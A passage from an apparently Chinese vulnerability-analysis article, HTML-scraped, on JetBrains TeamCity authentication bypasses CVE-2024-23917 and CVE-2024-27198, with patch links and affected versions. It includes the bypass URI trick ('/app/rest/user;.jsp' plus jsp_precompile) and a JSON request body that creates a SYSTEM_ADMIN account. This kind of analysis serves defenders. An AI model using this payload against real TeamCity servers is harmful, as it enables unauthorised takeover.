src="https://wechat2rss.xlab.app/img-proxy/?k=2d298bac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDrf2RubgOkjibJTOMrzMSpdP1Q629ichPwF1fFTQvr5J1urC05EKgLAqEOkPV678NlEpibH8Cic2goQ%2F640%3Fwx_fmt%3Dpng"/></span></span></span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-size:12.0pt;font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;text-underline:none;text-decoration:none;">TeamCity REST API</span></span></span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">中有较为详细的介绍，</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">/app/rest/users</span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">用来进行用户相关的操作，这是需要进行身份验证才能访问的API，创建一个用户实体，需要的参数如下：</span></span></span>    <o:page></o:page></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="643" data-backw="560" data-imgfileid="100004921" data-ratio="1.1477428180574556" width="560.010009765625" data-type="png" data-w="731" height="642.75" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=a1c16468&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDrf2RubgOkjibJTOMrzMSp9oRhVDo1Pj1yKgtrK89FbCOO1Wtnvwboxl5JhI3KicCictto5UEfed9A%2F640%3Fwx_fmt%3Dpng"/></span></span></span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">构造请求包，满足 URI 以</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">.jsp</span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">或</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">.jsp</span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">f</span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">结尾，并且传入</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">jsp_precompile</span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">参数不为 null 两个条件，创建一个用户名为</span></span></span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="">user1</span></span></span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">，密码为</span></span></span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="">user1user1</span></span></span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">，角色权限为</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">SYSTEM_ADMIN</span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">的用户。</span></span></span><span style="color: rgb(6, 40, 126);font-family: Consolas;font-size: 12pt;text-indent: 0pt;letter-spacing: 0.034em;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="json"><code><span class="code-snippet_outer">{              </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">&#34;username&#34;</span>:<span class="code-snippet__string">&#34;user1&#34;</span>,              </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">&#34;password&#34;</span>:<span class="code-snippet__string">&#34;user1user1&#34;</span>,              </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">&#34;email&#34;</span>: <span class="code-snippet__string">&#34;123456789@qq.com&#34;</span>,              </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">&#34;roles&#34;</span>: {<span class="code-snippet__attr">&#34;role&#34;</span>: [{<span class="code-snippet__attr">&#34;roleId&#34;</span>: <span class="code-snippet__string">&#34;SYSTEM_ADMIN&#34;</span>, <span class="code-snippet__attr">&#34;scope&#34;</span>: <span class="code-snippet__string">&#34;g&#34;</span>}]}              </span></code><code><span class="code-snippet_outer">}</span></code></pre></section><section style="margin-bottom: 8px;"><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="671" data-backw="560" data-imgfileid="100004924" data-ratio="1.1974248927038627" width="560.010009765625" data-type="png" data-w="466" height="670.5700073242188" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=32c0c6c6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDrf2RubgOkjibJTOMrzMSp3ibyeX1kluqZERPRycO3ibcBZ5272C72ibS18CVBbaib32rso1EoQekicww%2F640%3Fwx_fmt%3Dpng"/></span></span></span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></section><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">开启调试，在 RequestInterceptors.preHandle() 断点开始，</span></span></span>    <o:page></o:page></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="350" data-backw="560" data-imgfileid="100004929" data-ratio="0.625" width="560.010009765625" data-type="png" data-w="1080" height="350.260009765625" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=4b074b87&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDrf2RubgOkjibJTOMrzMSpz4NoCADrM5LJ4TricdPRWnYscFNANyyq19v1c15ibV2uNRojAglIGpYg%2F640%3Fwx_fmt%3Dpng"/></span></span></span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">跟进 requestPreHandlingAllowed() -&gt; WebUtil.isJspPrecompilationRequest()，此时获取到的 URI 是</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">/app/rest/user;.jsp</span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="">，</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">jsp_precompile</span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">参数为1，满足条件，返回 true。</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="258" data-backw="560" data-imgfileid="100004927" data-ratio="0.4603174603174603" width="560.010009765625" data-type="png" data-w="1008" height="257.77996826171875" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=84224d4b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDrf2RubgOkjibJTOMrzMSpyOBgJwH95rAOGNyN6oA1cEvDJzMYPaRMU5p3qboJ83rCbv9YxqtIbw%2F640%3Fwx_fmt%3Dpng"/></span></span></span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">于是，结束 RequestInterceptors 拦截器的检查，其他拦截器不会进行拦截。</span></span></span>    <o:page></o:page></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="290" data-backw="560" data-imgfileid="100004925" data-ratio="0.5173058933582788" width="560.010009765625" data-type="png" data-w="1069" height="289.70001220703125" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=1a67ef63&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDrf2RubgOkjibJTOMrzMSpajv7LSNxsQBP9B7bibW984r6YonVXiblz8q29mmNwMJxysaYq0mrzxRw%2F640%3Fwx_fmt%3Dpng"/></span></span></span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">后续在路由处理中，由于 Tomcat的特性，会忽略掉</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">;.jsp</span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">，解析到</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">/app/rest/users</span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">对应的功能代码进行创建用户。</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">简单看一下 AuthorizationInterceptorImpl 的认证过程吧，进入该拦截器后，会判断当前是否有用户登录或者是否有 RememberMe 记录；</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="337" data-backw="560" data-imgfileid="100004926" data-ratio="0.6018518518518519" width="560.010009765625" data-type="png" data-w="1080" height="336.78997802734375" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=63ec2032&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDrf2RubgOkjibJTOMrzMSpUGibRqvX8sRVSnwP2bmQrTOw2ab79U78D1emrOCeorXSK8MUCpMlORw%2F640%3Fwx_fmt%3Dpng"/></span></span></span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">没有登录则调用</span></span></span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="">isAuthenticationRequired()</span></span></span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">判断当前访问路径是否是</span></span></span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="">this.myAuthorizationPaths</span></span></span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">中不需要身份验证的路径，不是就返回 false，后面进行拦截处理。</span></span></span>    <o:page></o:page></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="293" data-backw="560" data-imgfileid="100004928" data-ratio="0.524074074074074" width="560.010009765625" data-type="png" data-w="1080" height="293.5" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=e153f06f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDrf2RubgOkjibJTOMrzMSpNITxSk1kEyUfDcRkibpOmZHpmmSfrnJI5dJBvFmqvAw0vJ2joqjAQvQ%2F640%3Fwx_fmt%3Dpng"/></span></span></span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">补丁下载：</span></span></span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-size:12.0pt;font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;text-underline:none;text-decoration:none;"><a href="https://download-cdn.jetbrains.com/teamcity/plugins/internal/fix_CVE_2024_23917.zip" target="_blank">https://download-cdn.jetbrains.com/teamcity/plugins/internal/fix_CVE_2024_23917.zip</a></span></span></span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">在 2023.11.3 版本中，</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">this.interceptorList</span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">中增加了一个 Proxy 拦截器，会对当前请求进行拦截，导致请求失败。</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="231" data-backw="560" data-imgfileid="100004933" data-ratio="0.41203703703703703" width="560.010009765625" data-type="png" data-w="1080" height="230.8699951171875" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=5e8849c5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDrf2RubgOkjibJTOMrzMSp22vgic6Rsc4YpYw4rIzNw5LJvOO3jSS4EeR8UWRVq3pichicFLs3ibPTWQ%2F640%3Fwx_fmt%3Dpng"/></span></span></span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></p><p><span style="mso-bookmark:cve-2024-23917;"></span><span style="mso-bookmark:漏洞分析;"></span><span style="outline: 0px;color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-decoration: underline;visibility: visible;">3. CVE-2024-27198</span></p><p style="margin-bottom: 16px;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;visibility: visible;">官方公告</strong><span style="mso-bookmark:cve-2024-27198;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></p><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 16px;"><span style="mso-bookmark:cve-2024-27198;"><span style="font-size:12.0pt;font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;text-underline:none;text-decoration:none;"><a href="https://blog.jetbrains.com/teamcity/2024/03/additional-critical-security-issues-affecting-teamcity-on-premises-cve-2024-27198-and-cve-2024-27199-update-to-2023-11-4-now/" target="_blank">https://blog.jetbrains.com/teamcity/2024/03/additional-critical-security-issues-affecting-teamcity-on-premises-cve-2024-27198-and-cve-2024-27199-update-to-2023-11-4-now/</a></span></span><span style="mso-bookmark:cve-2024-27198;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 16px;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;visibility: visible;">漏洞描述</strong><span style="mso-bookmark:cve-2024-27198;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span>    <o:page></o:page></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 16px;"><span style="mso-bookmark:cve-2024-27198;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">默认情况下，TeamCity 通过 HTTP 端口 8111 公开 Web 服务器（并且可以选择配置为通过 HTTPS 运行）。攻击者可以精心设计一个 URL，以避免所有身份验证检查，从而允许未经身份验证的攻击者直接访问需要身份验证的端点。未经身份验证的远程攻击者可以利用此漏洞完全控制易受攻击的 TeamCity 服务器。</span></span></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 16px;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;visibility: visible;">影响版本</strong><span style="mso-bookmark:cve-2024-27198;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></section><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-27198;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;">2023.11.3及之前版本</span></span></p><p><span style="outline: 0px;font-size: 18px;visibility: visible;"><strong style="outline: 0px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);color: rgb(85, 168, 113);font-family: &#34;Helvetica Neue&#34;;font-size: 26px;letter-spacing: 0.578px;visibility: visible;">3-1. 漏洞复现</strong></span></p><p><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞复现-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">直接访问</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">/app/rest/server</span><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞复现-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">会跳转到登录页面；</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-27198;"><span style="mso-bookmark:漏洞复现-2;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="249" data-backw="560" data-imgfileid="100004930" data-ratio="0.44434050514499535" width="560.010009765625" data-type="png" data-w="1069" height="248.83001708984375" style="width: 100%;height: 